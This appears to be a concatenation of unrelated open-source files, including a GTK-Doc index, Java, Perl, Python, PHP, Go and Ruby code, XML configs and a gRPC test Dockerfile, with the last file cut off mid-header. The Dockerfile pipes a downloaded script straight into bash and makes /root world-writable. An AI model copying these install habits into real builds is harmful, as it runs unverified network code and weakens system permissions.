text:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Index of new symbols in 2.2</title>
<meta name="generator" content="DocBook XSL Stylesheets V1.77.1">
<link rel="home" href="index.html" title="GDK-PixBuf Reference Manual">
<link rel="up" href="index.html" title="GDK-PixBuf Reference Manual">
<link rel="prev" href="api-index-deprecated.html" title="Index of deprecated symbols">
<link rel="next" href="api-index-2-4.html" title="Index of new symbols in 2.4">
<meta name="generator" content="GTK-Doc V1.18 (XML mode)">
<link rel="stylesheet" href="style.css" type="text/css">

GDK-PixBuf Reference Manual

F
                      |
                   G
                      |
                   L
                      |
                   S

Index of new symbols in 2.2

F

gdk_pixbuf_format_get_description, function in Module Interface

gdk_pixbuf_format_get_extensions, function in Module Interface

gdk_pixbuf_format_get_mime_types, function in Module Interface

gdk_pixbuf_format_get_name, function in Module Interface

gdk_pixbuf_format_is_writable, function in Module Interface

G

GdkPixbufFormat, struct in Module Interface

GdkPixbufFormatFlags, enum in Module Interface

GdkPixbufModuleFillInfoFunc, user_function in Module Interface

GdkPixbufModuleFillVtableFunc, user_function in Module Interface

GdkPixbufModulePattern, struct in Module Interface

GdkPixbufModulePreparedFunc, user_function in Module Interface

GdkPixbufModuleSizeFunc, user_function in Module Interface

GdkPixbufModuleUpdatedFunc, user_function in Module Interface

gdk_pixbuf_get_formats, function in Module Interface

L

gdk_pixbuf_loader_get_format, function in GdkPixbufLoader

gdk_pixbuf_loader_set_size, function in GdkPixbufLoader

S

gdk_pixbuf_set_option, function in Module Interface

          Generated by GTK-Doc V1.18

redpajama_set_name: RedPajamaGithub


text:
package com.google.solutions.jitaccess.web;

import com.google.solutions.jitaccess.core.AccessDeniedException;
import com.google.solutions.jitaccess.core.NotAuthenticatedException;
import org.jboss.resteasy.spi.UnhandledException;

import javax.ws.rs.ForbiddenException;
import javax.ws.rs.core.Response;
import javax.ws.rs.ext.ExceptionMapper;
import javax.ws.rs.ext.Provider;
import java.io.IOException;

public class ExceptionMappers {
  @Provider
  public static class NotAuthenticatedExceptionMapper
    implements ExceptionMapper<NotAuthenticatedException> {
    @Override
    public Response toResponse(NotAuthenticatedException exception) {
      return Response
        .status(Response.Status.UNAUTHORIZED)
        .entity(new ErrorEntity(exception)).build();
    }
  }

  @Provider
  public static class AccessDeniedExceptionExceptionMapper
    implements ExceptionMapper<AccessDeniedException> {
    @Override
    public Response toResponse(AccessDeniedException exception) {
      return Response
        .status(Response.Status.FORBIDDEN)
        .entity(new ErrorEntity(exception)).build();
    }
  }

  @Provider
  public class ForbiddenExceptionMapper implements ExceptionMapper<ForbiddenException> {
    @Override
    public Response toResponse(ForbiddenException exception) {
      return Response
        .status(Response.Status.FORBIDDEN)
        .entity(new ErrorEntity(exception)).build();
    }
  }

  @Provider
  public class IllegalArgumentExceptionMapper implements ExceptionMapper<IllegalArgumentException> {
    @Override
    public Response toResponse(IllegalArgumentException exception) {
      return Response
        .status(Response.Status.BAD_REQUEST)
        .entity(new ErrorEntity(exception))
        .build();
    }
  }

  @Provider
  public class IOExceptionMapper implements ExceptionMapper<IOException> {
    @Override
    public Response toResponse(IOException exception) {
      return Response
        .status(Response.Status.BAD_GATEWAY)
        .entity(new ErrorEntity(exception))
        .build();
    }
  }

  @Provider
  public class UnhandledExceptionMapper implements ExceptionMapper<UnhandledException> {
    @Override
    public Response toResponse(UnhandledException exception) {
      return Response
        .status(Response.Status.INTERNAL_SERVER_ERROR)
        .entity(new ErrorEntity(exception))
        .build();
    }
  }

  public static class ErrorEntity {
    private final String message;

    public ErrorEntity(Exception exception) {
      this.message = exception.getMessage();
    }

    public String getMessage() {
      return message;
    }
  }
}


text:
package Paws::Glue::StartCrawlerSchedule;
  use Moose;
  has CrawlerName => (is => 'ro', isa => 'Str', required => 1);

  use MooseX::ClassAttribute;

  class_has _api_call => (isa => 'Str', is => 'ro', default => 'StartCrawlerSchedule');
  class_has _returns => (isa => 'Str', is => 'ro', default => 'Paws::Glue::StartCrawlerScheduleResponse');
  class_has _result_key => (isa => 'Str', is => 'ro');
1;

### main pod documentation begin ###

=head1 NAME

Paws::Glue::StartCrawlerSchedule - Arguments for method StartCrawlerSchedule on Paws::Glue

=head1 DESCRIPTION

This class represents the parameters used for calling the method StartCrawlerSchedule on the
AWS Glue service. Use the attributes of this class
as arguments to method StartCrawlerSchedule.

You shouldn't make instances of this class. Each attribute should be used as a named argument in the call to StartCrawlerSchedule.

As an example:

  $service_obj->StartCrawlerSchedule(Att1 => $value1, Att2 => $value2, ...);

Values for attributes that are native types (Int, String, Float, etc) can passed as-is (scalar values). Values for complex Types (objects) can be passed as a HashRef. The keys and values of the hashref will be used to instance the underlying object.

=head1 ATTRIBUTES

=head2 B<REQUIRED> CrawlerName => Str

Name of the crawler to schedule.

=head1 SEE ALSO

This class forms part of L<Paws>, documenting arguments for method StartCrawlerSchedule in L<Paws::Glue>

=head1 BUGS and CONTRIBUTIONS

The source code is located here: https://github.com/pplu/aws-sdk-perl

Please report bugs to: https://github.com/pplu/aws-sdk-perl/issues

=cut


text:
'''
Principal component analysis on converted, filtered and prepared data, without flags
Author : Diviyan Kalainathan
Date : 9/06/2016
DEPRECATED

'''

import numpy, csv, re
import matplotlib.pyplot as plt
from sklearn.manifold import TSNE

# Load var info
type_var = []
num_bool = []
spec_note = []
color_type = []
real_color_type=[]

with open('input/Variables_info.csv', 'rb') as datafile:
    var_reader = csv.reader(datafile, delimiter=',')
    header_var = next(var_reader)
    for var_row in var_reader:
        type_var += [var_row[1]]
        num_bool += [var_row[3]]
        spec_note += [var_row[4]]

    row_len = 0
    real_row_len=0
    for num_col in range(0, 541):
        if spec_note[num_col] != 'I':
            if type_var[num_col] == 'C' or (type_var[num_col] == 'D' and spec_note[num_col] == 'T'):
                row_len += 1  #
                real_row_len+=2
                color_type += ['C']
                color_type += ['FC']
                real_color_type+=['C']
            elif type_var[num_col] == 'D' and spec_note[num_col] != '-2' and spec_note[num_col] != 'T':
                # print(num_col)
                row_len += int(num_bool[num_col])
                real_row_len +=int(num_bool[num_col])+1
                for i in range(0, int(num_bool[num_col])):
                    color_type += ['D']
                    real_color_type+=['D']
                color_type += ['FD']

print('Row len/n. features : ' + str(row_len))
# sarse_matrix = lil_matrix((input_length, row_len), dtype=numpy.int8)
# the matrix is now implemented in the csv result
# This computation is now made in order to cross-check the columns
# Load the dataset

n_features = row_len

print('--Load dataset--')
inputdata = numpy.zeros((n_features, 32693))

with open('output/prepared_data.csv', 'rb') as datafile:
    var_reader = csv.reader(datafile, delimiter=';')
    header = next(var_reader)
    num_column = 0
    for row in var_reader:
        num_row = 0
        for i in range(0, real_row_len):
            if color_type[i]=='C' or color_type[i]=='D':
                if not re.search('[a-zA-Z]', row[i]):
                    if '.' not in row[i]:
                        inputdata[num_row, num_column] = int(row[i])
                        num_row +=1
                    else:
                        inputdata[num_row, num_column] = float(row[i])
                        num_row +=1
                else:
                    inputdata[num_row, num_column] = 0
                    num_row +=1

        num_column += 1
        if num_column % 5000 == 0:
            print('.')
        elif num_column % 50 == 0:
            print('.'),

proc_data = inputdata
print('')
print('Done.')
# Transpose for the numpy.cov - computing the scatter matrix

## PCA ALGORITHM
print('---PCA ALGORITHM---')
# Centering & Normalization
print('--Centering and normalization--')
print(numpy.shape(proc_data))
for i in range(0, n_features):
    mean = numpy.mean(inputdata[i, :])

    variance = numpy.var(inputdata[i, :])

    if variance != 0:
        proc_data[i, :] = (inputdata[i, :] - mean) / variance
    else:
        proc_data[i, :] = 0
print(proc_data)
print('Done.')
# print(inputdata[500])
# Scatter matrix
print('--Scatter Matrix--')
covmat = numpy.cov(proc_data)
print('Done.')
# Computing eigenvalues & eigenvectors
print('--Eigenvalues--')
eigvalues, eigvectors = numpy.linalg.eig(covmat)

# eigvalues_sorted.sort(reverse=True)
# print(eigvalues_sorted2)

print(len(eigvalues))
print(numpy.shape(eigvalues))
sum2 = 0
func = []
for i in range(0, len(eigvalues)):
    sum2 += eigvalues[i] ** 2

for i in range(0, len(eigvalues)):
    sum1 = 0
    for j in range(0, i):
        sum1 += eigvalues[j] ** 2
    func += [sum1 / sum2]

for i in range(0, len(eigvalues)):
    plt.plot(i, func[i], 'go')

plt.show()

func2 = []
for i in range(0, len(eigvalues)):
    func2 += [eigvalues[i]]

for i in range(0, len(eigvalues)):
    plt.plot(i, func2[i], 'go')

plt.show()

s_eigvalues = numpy.sort(eigvalues)

print(s_eigvalues)

ind_val1 = 0  # numpy.where(eigvalues == s_eigvalues[n_features-1])

ind_val2 = 1  # numpy.where(eigvalues == s_eigvalues[n_features-2])

eig_vec1 = eigvectors[:, [ind_val1]]
eig_vec2 = eigvectors[:, [ind_val2]]

# Need to compute the value distributions according to the eigenvalues

print(eig_vec1)
print(eig_vec2)

print(ind_val1)
print(ind_val2)

print('Done.')
# print(repr(eig_vec1))
# print(s_eigvalues[782])
# print(eigvalues[0])
# print(eigvalues[1])
# print(repr(ind_val2))

# Transform matrix
# 5 Dimensions
print('--Transform matrix & points--')
# W = numpy.vstack((eig_vec1[:,0]/eigvalues[0],eig_vec2[:,0]/eigvalues[1],eigvectors[:,2]/eigvalues[2],
#                 eigvectors[:,3]/eigvalues[3],eigvectors[:,4]/eigvalues[4]))
W = numpy.vstack((eig_vec1[:, 0], eig_vec2[:, 0], eigvectors[:, 2],
                  eigvectors[:, 3], eigvectors[:, 4]))
W = W.real
print(numpy.shape(W))

model = TSNE(n_components=2)
numpy.set_printoptions(suppress=True)
toprint = model.fit_transform(numpy.transpose(W))

for i in range(0, len(toprint[:, 1])):
    if real_color_type[i] == 'C':
        plt.plot(toprint[i, 0], toprint[i, 1], 'bx')

    elif real_color_type[i] == 'D':
        plt.plot(toprint[i, 0], toprint[i, 1], 'rx')

plt.show()

# Color variables
toprint = (numpy.transpose(numpy.vstack((eig_vec1[:, 0] / eigvalues[0], eig_vec2[:, 0] / eigvalues[1]))))

for i in range(0, len(toprint[:, 1])):

    if real_color_type[i] == 'C':
        plt.plot(toprint[i, 0], toprint[i, 1], 'bx')

    elif real_color_type[i] == 'D':
        plt.plot(toprint[i, 0], toprint[i, 1], 'rx')

plt.show()
# Transforming points into new subspace

print(numpy.shape(inputdata))
computed_data = numpy.dot(W, inputdata)
computed_data = computed_data.real
'''for i in range (0,1000):
    plt.plot([computed_data[0, i]], [computed_data[1, i]],'bx')

plt.show()'''
print('Done.')
W_t = numpy.transpose(W)

with open('output/ident_vectors_5-wf.csv', 'wb') as sortedfile:
    datawriter = csv.writer(sortedfile, delimiter=';', quotechar='|')
    datawriter.writerow(['5 dimensions eig-vectors -without flags'])

final_header=[]
for i in range(0,real_row_len):
    if color_type[i]=='C' or color_type[i]=='D':
        final_header+=[header[i]]

for i in range(0, n_features):
    print(i)
    output_s = []
    output_s += [final_header[i]]
    for j in range(0, 5):
        output_s += [str(W_t[i, j])]
    with open('output/ident_vectors_5-wf.csv', 'a') as sortedfile:
        datawriter = csv.writer(sortedfile, delimiter=';', quotechar='|',
                                lineterminator='\n')
        datawriter.writerow(output_s)

# Save data
print('--Save Data--')
numpy.savetxt('output/computed_data5dim_2-wf.csv', computed_data, delimiter=';')
# numpy.savetxt('output/ident_vectors_5.csv', numpy.transpose(W), delimiter=';')

print('Done.')


text:
package com.webcohesion.enunciate.examples.ruby_json_client.schema.vehicles;

import com.webcohesion.enunciate.examples.ruby_json_client.schema.Circle;
import com.webcohesion.enunciate.examples.ruby_json_client.schema.Figure;
import com.webcohesion.enunciate.examples.ruby_json_client.schema.Rectangle;
import com.webcohesion.enunciate.metadata.qname.XmlQNameEnumRef;

import javax.xml.bind.annotation.XmlElementWrapper;
import javax.xml.bind.annotation.XmlRootElement;
import javax.xml.namespace.QName;
import java.lang.String;
import java.util.Collection;
import java.util.Map;

/**
 * @author Ryan Heaton
 */
@XmlRootElement
public class Bus extends Figure {

  private Rectangle frame;
  private Circle[] wheels;
  private Collection<Rectangle> windows;
  private Rectangle door;
  private Map<String, Circle> persons;
  private QName type;

  public Rectangle getFrame() {
    return frame;
  }

  public void setFrame(Rectangle frame) {
    this.frame = frame;
  }

  public Circle[] getWheels() {
    return wheels;
  }

  public void setWheels(Circle[] wheels) {
    this.wheels = wheels;
  }

  @XmlElementWrapper (
    name = "windows"
  )
  public Collection<Rectangle> getWindows() {
    return windows;
  }

  public void setWindows(Collection<Rectangle> windows) {
    this.windows = windows;
  }

  public Rectangle getDoor() {
    return door;
  }

  public void setDoor(Rectangle door) {
    this.door = door;
  }

  public Map<String, Circle> getPersons() {
    return persons;
  }

  public void setPersons(Map<String, Circle> persons) {
    this.persons = persons;
  }

  @XmlQNameEnumRef (BusType.class)
  public QName getType() {
    return type;
  }

  public void setType(QName type) {
    this.type = type;
  }
}


text:
<?xml version="1.0" encoding="UTF-8"?><serialization xmlns="urn:tibco.com/v3.0">
  <onAfterDeserialize><![CDATA[objJSX.getTextArea=function(){return (this.getDescendantOfName("jsxcodeeditor")).getTextArea();};objJSX.getModePane=function(){return swap_pane;};objJSX.onColMenu=function(o,r){var
hb=jsx3.ide.getEditorForTab(this);if(o=="add")hb.addLocaleColumn();else if(o=="del")hb.removeLocaleColumn(r);};colid.setFormatHandler(function(j,d,f,q,k,s){if(d=="jsxautorow"){var
Ya=(f.getAutoRowSession()).jsxid;if(Ya.indexOf("jsx")==0)(f.getAutoRowSession()).jsxid="";j.innerHTML=(f.getAutoRowSession()).jsxid;}});coldel.setFormatHandler(function(h,f,d,s,b,e){if(f=="jsxautorow")h.innerHTML="

";});coldefault.setFormatHandler(jsx3.ide.PropsBundleEditor.FORMATTER);]]></onAfterDeserialize>
    <object type="jsx3.gui.Block">
      <variants jsxoverflow="2" jsxrelativeposition="0"/>
      <strings jsxbgcolor="#e8e8f5" jsxheight="100%" jsxhelpid="ide.editor.propsbundle" jsxname="content" jsxoverflow="2" jsxpadding="8 0 0 0" jsxwidth="100%"/>
      <object type="jsx3.gui.LayoutGrid">
        <variants/>
        <strings jsxheight="100%" jsxname="mylayout" jsxrows="*,22" jsxwidth="100%"/>
        <object type="jsx3.gui.TabbedPane">
          <variants jsxshowtabs="0"/>
          <strings jsxheight="100%" jsxname="swap_pane" jsxwidth="100%"/>
          <object type="jsx3.gui.Tab">
            <variants jsxindex="0"/>
            <strings jsxname="mode_grid"/>
            <object type="jsx3.gui.Block">
              <dynamics jsxbgcolor="@Solid Medium"/>
              <variants jsxoverflow="2"/>
              <strings jsxheight="100%" jsxwidth="100%"/>
              <object type="jsx3.gui.Matrix">
                <dynamics jsxbgcolor="@Solid Light" jsxbodyborder="@Outset" jsxheaderborder="@Outset NoBottom"/>
                <variants jsxautorow="2" jsxheaderheight="21" jsxpagingmodel="1" jsxreorder="0" jsxresize="1" jsxselectionmodel="0"/>
                <strings jsxfocusstyle=";" jsxname="jsxpropsbundleeditor"/>
                <events jsxaftercommit="(content.getEditor()).setDirty(true);" jsxafteredit="if(objCOLUMN.getPath()=="jsxid")this.redrawRecord(strRECORDID);"/>
                <xslparameters jsx_autorow_style="background-color:#f0f0f8;color:#0000ff;" jsx_rowbg1="#ffffff" jsx_rowbg2="#ffffff"/>
                <object type="jsx3.gui.Matrix.Column">
                  <dynamics jsxbg="@Fade TopDown" jsxborder="@Outset" jsxcellborder="@Matrix AllCol Border"/>
                  <variants jsxresize="0"/>
                  <strings jsxcellpadding="1" jsxname="coldel" jsxpadding="3" jsxvaluetemplate="@empty" jsxwidth="20"/>
                  <object type="jsx3.gui.ImageButton">
                    <variants jsxheight="16" jsxwidth="16"/>
                    <strings jsximage="jsxapp:/images/icon_55.gif" jsxname="imagebutton"/>
                    <events jsxexecute="(content.getEditor()).removeDP((this.emGetSession()).recordId,(this.emGetSession()).matrix);"/>
                  </object>
                </object>
                <object type="jsx3.gui.Matrix.Column">
                  <dynamics jsxbg="@Fade TopDown" jsxborder="@Outset" jsxcellborder="@Matrix AllCol Border"/>
                  <variants jsxresize="1"/>
                  <strings jsxcellpadding="3" jsxname="colid" jsxpadding="3" jsxpath="jsxid" jsxtext="ID" jsxwidth="125"/>
                  <object type="jsx3.gui.TextBox">
                    <dynamics jsxcolor="@Matrix Edit Color"/>
                    <strings jsxname="myText"/>
                  </object>
                </object>
                <object type="jsx3.gui.Matrix.Column">
                  <dynamics jsxbg="@Fade TopDown" jsxborder="@Outset" jsxcellborder="@Matrix AllCol Border"/>
                  <variants jsxsort="0" jsxwidth="100"/>
                  <strings jsxcellpadding="3" jsxmenu="jsxmenu_propsbundle" jsxname="coldefault" jsxpadding="3" jsxpath="_default" jsxtext="Default"/>
                  <object type="jsx3.gui.TextBox">
                    <dynamics jsxcolor="@Matrix Edit Color"/>
                    <strings jsxname="myText"/>
                  </object>
                </object>
              </object>
              <object type="jsx3.gui.Menu">
                <strings jsxdisplay="none" jsxname="jsxmenu_propsbundle" jsxxml="<data jsxid="jsxroot">   <record jsxid="add" jsxtext="Add New Locale" jsximg="jsxapp:/images/icon_23.gif"/>   <record jsxid="del" jsxtext="Delete Locale" jsximg="jsxapp:/images/icon_24.gif"/>   </data>"/>
                <events jsxexecute="content.onColMenu(strRECORDID,this.getContextParent());" jsxmenu="this.enableItem("del",(this.getContextParent()).getPath()!="_default");"/>
              </object>
            </object>
          </object>
        </object>
        <object type="jsx3.gui.Block">
          <variants jsxoverflow="2"/>
          <strings jsxbgcolor="#d8d8e5" jsxborder="solid 1px #9898a5;solid 0px;solid 0px;solid 0px" jsxheight="100%" jsxname="mychild1" jsxtextalign="right" jsxwidth="100%"/>
          <object type="jsx3.gui.Block">
            <variants jsxoverflow="2" jsxrelativeposition="1"/>
            <strings jsxbgcolor="#eeeeff" jsxborder="solid 0px;solid 0px;solid 0px;solid 1px #9898a5" jsxmargin="0 0 0 -1" jsxname="jsx_ide_componenteditor_btns"/>
            <object type="jsx3.gui.ToolbarButton">
              <dynamics jsxtip="_edit_view_grid"/>
              <variants jsxenabled="1" jsxleft="0" jsxrelativeposition="1" jsxstate="1" jsxtop="0" jsxtype="2"/>
              <strings jsxgroupname="editmode" jsximage="jsxapp:/images/icon_46.gif" jsxmargin="-1 -1 0 0" jsxname="btnViewComp" jsxtext=""/>
              <events jsxexecute="(content.getEditor()).setMode("grid");"/>
            </object>
            <object type="jsx3.gui.ToolbarButton">
              <dynamics jsxtip="_edit_view_expert"/>
              <variants jsxenabled="1" jsxleft="0" jsxrelativeposition="1" jsxtop="0" jsxtype="2"/>
              <strings jsxgroupname="editmode" jsximage="jsxapp:/images/icon_21.gif" jsxmargin="-1 -1 0 0" jsxname="btnViewRW" jsxtext=""/>
              <events jsxexecute="(content.getEditor()).setMode("source");"/>
            </object>
            <object type="jsx3.gui.ToolbarButton">
              <dynamics jsxtip="_edit_view_formatted"/>
              <variants jsxenabled="1" jsxleft="0" jsxrelativeposition="1" jsxtop="0" jsxtype="2"/>
              <strings jsxgroupname="editmode" jsximage="jsxapp:/images/icon_20.gif" jsxmargin="-1 -1 0 0" jsxname="btnViewRO" jsxtext=""/>
              <events jsxexecute="(content.getEditor()).setMode("sourcefmt");"/>
            </object>
            <object type="jsx3.gui.ToolbarButton">
              <variants jsxenabled="0" jsxleft="0" jsxrelativeposition="1" jsxstate="0" jsxtop="0" jsxtype="2"/>
              <strings jsxgroupname="editmode" jsximage="jsxapp:/images/icon_25.gif" jsxmargin="-1 -1 0 0" jsxname="btnViewHTML" jsxtext=""/>
            </object>
            <object type="jsx3.gui.ToolbarButton">
              <variants jsxenabled="0" jsxleft="0" jsxrelativeposition="1" jsxstate="0" jsxtop="0" jsxtype="2"/>
              <strings jsxgroupname="editmode" jsximage="jsxapp:/images/icon_76.gif" jsxmargin="-1 -1 0 0" jsxname="btnViewProfile" jsxtext=""/>
            </object>
          </object>
        </object>
      </object>
    </object>
</serialization>


text:
import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { HttpModule } from '@angular/http';

import { AppComponent } from './app.component';
import { HomeComponent } from './home/home.component';
import { ChartComponent } from './chart/chart.component';
import { CardComponent } from './shared/card/card.component';
import { RouterModule, Routes} from '@angular/router';
import { StatusPipe } from './shared/pipes/status.pipe';
import { UserService } from './shared/service/user/user.service';
import { AccessGuard } from './guard/access.guard';
import { LoginComponent } from './login/login.component';
const appRoutes:Routes = [
  {path:'',redirectTo:'home',pathMatch:'full'},
  {path:'home',component:HomeComponent},
  { path:'chart',
    component:ChartComponent,
    canActivate:[AccessGuard]
  }
]
@NgModule({
  declarations: [
    HomeComponent,
    AppComponent,
    ChartComponent,
    CardComponent,
    StatusPipe,
    LoginComponent
  ],
  imports: [
    BrowserModule,
    FormsModule,
    HttpModule,
    RouterModule.forRoot(appRoutes)
  ],
  providers: [UserService,AccessGuard,{provide:'apiBase',useValue:''}],
  bootstrap: [AppComponent]
})
export class AppModule { }


text:
#include <aws/macie2/model/GetFindingsRequest.h>
#include <aws/core/utils/json/JsonSerializer.h>

#include <utility>

using namespace Aws::Macie2::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;

GetFindingsRequest::GetFindingsRequest() :
    m_findingIdsHasBeenSet(false),
    m_sortCriteriaHasBeenSet(false)
{
}

Aws::String GetFindingsRequest::SerializePayload() const
{
  JsonValue payload;

  if(m_findingIdsHasBeenSet)
  {
   Array<JsonValue> findingIdsJsonList(m_findingIds.size());
   for(unsigned findingIdsIndex = 0; findingIdsIndex < findingIdsJsonList.GetLength(); ++findingIdsIndex)
   {
     findingIdsJsonList[findingIdsIndex].AsString(m_findingIds[findingIdsIndex]);
   }
   payload.WithArray("findingIds", std::move(findingIdsJsonList));

  }

  if(m_sortCriteriaHasBeenSet)
  {
   payload.WithObject("sortCriteria", m_sortCriteria.Jsonize());

  }

  return payload.View().WriteReadable();
}


text:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xmlns:context="http://www.springframework.org/schema/context"
       xmlns:util="http://www.springframework.org/schema/util"
        xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd
        http://www.springframework.org/schema/context
        http://www.springframework.org/schema/context/spring-context.xsd
        http://www.springframework.org/schema/util
        http://www.springframework.org/schema/util/spring-util.xsd">

        <bean id="testText" class="simple.TestBean" p:text="Hello world!"/>

</beans>


text:
using System;

namespace ToyLanguage_NET {
	[Serializable] public class NewStmt: IStmt {
		private String id;
		private Exp exp;

		public String Id {
			get {
				return id;
			}
			set {
				id = value;
			}
		}

		public Exp Exp {
			get {
				return exp;
			}
			set {
				exp = value;
			}
		}

		public NewStmt(String id, Exp exp) {
			this.id = id;
			this.exp = exp;
		}

		public override string ToString() {
			return "new( " + id + ", " + exp.ToString() + ") ";
		}

		public PrgState execute(PrgState state) {
			MapInterface<String, int> symTbl = state.SymTable;
			HeapInterface<int> heap =  state.HeapTable;
			symTbl [id] = heap.Add(Exp.eval(symTbl, heap));
			return null;
		}
	}
}


text:
 Defines whether to promote the page as a news article, optional attribute

**Namespace:** [OfficeDevPnP.Core.Framework.Provisioning.Model](OfficeDevPnP.Core.Framework.Provisioning.Model.md)
**Assembly:** OfficeDevPnP.Core.dll
## Syntax
```C#
public bool PromoteAsNewsArticle { get; set; }
```

### Property Value
Type: System.Boolean

## See also
- [ClientSidePage](OfficeDevPnP.Core.Framework.Provisioning.Model.ClientSidePage.md)
- [OfficeDevPnP.Core.Framework.Provisioning.Model](OfficeDevPnP.Core.Framework.Provisioning.Model.md)


text:
FROM debian:jessie

#=================
# Basic C core dependencies

# C/C++ dependencies according to https://github.com/grpc/grpc/blob/master/BUILDING.md
RUN apt-get update && apt-get install -y \
  build-essential \
  autoconf \
  libtool \
  pkg-config \
  && apt-get clean

# GCC
RUN apt-get update && apt-get install -y \
  gcc \
  g++ \
  && apt-get clean

# libc6
RUN apt-get update && apt-get install -y \
  libc6 \
  libc6-dbg \
  libc6-dev \
  && apt-get clean

# Tools
RUN apt-get update && apt-get install -y \
  bzip2 \
  curl \
  dnsutils \
  git \
  lcov \
  make \
  strace \
  time \
  unzip \
  wget \
  zip \
  && apt-get clean

RUN mkdir /var/local/jenkins

#==================
# Node dependencies

# Install nvm
RUN groupadd -g 999 appuser && useradd -r -u 999 -g appuser appuser
RUN mkdir -p /home/appuser && chown appuser /home/appuser
RUN chmod 777 /root
USER appuser
RUN touch ~/.profile
RUN curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash
# Install all versions of node that we want to test
RUN /bin/bash -l -c "nvm install 16 && npm config set cache /tmp/npm-cache"
RUN /bin/bash -l -c "nvm alias default 16"
# Define the default command.
CMD ["bash"]


text:
package cmd

import (
	"fmt"

	"github.com/spf13/cobra"
)

// worklistCmd represents the worklist command
var worklistCmd = &cobra.Command{
	Aliases: []string{"wl"},
	Use:     "worklist",
	Short:   "Navigate and edit the work list",
	Long: `A longer description that spans multiple lines and likely contains examples
and usage of using your command.
`,
	Example: `Go to the root of the work list with
  worklist cd /
`,
	Run: func(cmd *cobra.Command, args []string) {
		fmt.Println(cmd.UsageString())
	},
}

func init() {
	// RootCmd.AddCommand(worklistCmd)

	// Here you will define your flags and configuration settings.

	// Cobra supports Persistent Flags which will work for this command
	// and all subcommands, e.g.:
	// worklistCmd.PersistentFlags().String("foo", "", "A help for foo")

	// Cobra supports local flags which will only run when this command
	// is called directly, e.g.:
	// worklistCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle")
	worklistCmd.Flags().BoolP("toggle", "t", false, "Help message for toggle")

}


text:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="org.colinw.oceanblast"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="11"
        android:targetSdkVersion="15" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme">
        <activity
            android:name=".OceanBlastActivity"
            android:theme="@android:style/Theme.NoTitleBar.Fullscreen"
            android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>


text:
<?php

namespace Deployer\Services\Bitbucket;

use Deployer\Services\Commit;

class BitbucketCommit extends Commit
{

    public function __construct($rawData)
    {
        parent::__construct($rawData);

        $this->setAuthor($this->extractAuthorFromChange());
        $this->setType($rawData->new->type);
        $this->setMessage($rawData->new->target->message);
        $this->setBranch($rawData->new->name);
    }

    public function extractAuthorFromChange()
    {
        $author = $this->rawData->new->target->author;

        return $author->user->display_name ?? $author->raw;
    }
}


text:
<?php
/**
 * Authors: Alex Gusev <alex@flancer64.com>
 * Since: 2020
 */

namespace Praxigento\Warehouse\Model\Config\Source;

class Warehouse
    implements \Magento\Framework\Data\OptionSourceInterface
{
    /** @var array */
    private $cache;
    /** @var \Praxigento\Warehouse\Repo\Dao\Warehouse */
    private $daoWrhs;

    public function __construct(
        \Praxigento\Warehouse\Repo\Dao\Warehouse $daoWrhs
    ) {
        $this->daoWrhs = $daoWrhs;
    }

    public function toOptionArray()
    {
        if (is_null($this->cache)) {
            $all = $this->daoWrhs->get();
            $this->cache = [];
            /** @var \Praxigento\Warehouse\Repo\Data\Warehouse $one */
            foreach ($all as $one) {
                $this->cache[] = ['value' => $one->getStockRef(), 'label' => $one->getCode()];
            }
            usort($this->cache, function ($a, $b) {
                return $a['label'] > $b['label'];
            });
        }
        return $this->cache;
    }
}


text:
<?xml version="1.0" ?>
<!DOCTYPE FTCS SYSTEM "futuretense_cs.dtd">

<FTCS Version="1.1">
<!--
$Logfile: /VerticalApps/XcelerateA/install/Gator/Populate/ElementCatalog/OpenMarket/Xcelerate/AssetType/Promotions/PostUpdate.xml $
$Revision: 7 $
$Modtime: 11/16/01 5:34p $
-->

<!--
- Confidential and Proprietary Information of FutureTense Inc.
-					All Rights Reserved.
-
- PostUpdate.xml
-
- DESCRIPTION
-
-
- HISTORY
-->
<callelement NAME="OpenMarket/Gator/FlexibleAssets/Common/PostUpdate"/>
</FTCS>


text:
require 'xrt/parser'
require 'xrt/syntax'

module XRT
  class DepthChecker
    def check source, enable_color=nil
      annotated_source = ''
      parser = XRT::Parser.new(source)
      syntax = XRT::Syntax.new

      current_level = 0
      parser.tokens.each{|statement|
        diff = syntax.block_level statement
        current_level += diff
        annotated_source += statement

        if enable_color
          color = 44 + diff
          annotated_source += "\e[#{color}m#{current_level}\e[0m"
        else
          annotated_source += current_level.to_s
        end
      }
      if current_level == 0
        return true, annotated_source
      else
        return false, annotated_source
      end
    end

    def max_depth source
      parser = XRT::Parser.new(source)
      syntax = XRT::Syntax.new

      max_level = 0
      current_level = 0

      parser.tokens.each{|statement|
        diff = syntax.block_level statement
        current_level += diff
        max_level = [ current_level, max_level].max
      }

      if current_level != 0
        raise 'failed to parse'
      end

      max_level
    end
  end
end


text:
require 'methods/naive'
require 'method_invokation'

comparator = CrossLanguageReferencesProducerMethodsComparator.new($golden_set,$project)
figures_cs = comparator.add(NaiveReferencesProducer,{:case_insensitive=>false})
figures_ci = comparator.add(NaiveReferencesProducer,{:case_insensitive=>true})

puts "Figure cs: #{figures_cs}"
puts "Figure ci: #{figures_ci}"


text:
#ifndef PCL_RECOGNITION_MODEL_LIBRARY_H_
#define PCL_RECOGNITION_MODEL_LIBRARY_H_

#include <pcl/point_types.h>
#include <pcl/point_cloud.h>
#include <string>

namespace pcl
{
  namespace recognition
  {
    class ModelLibrary
    {
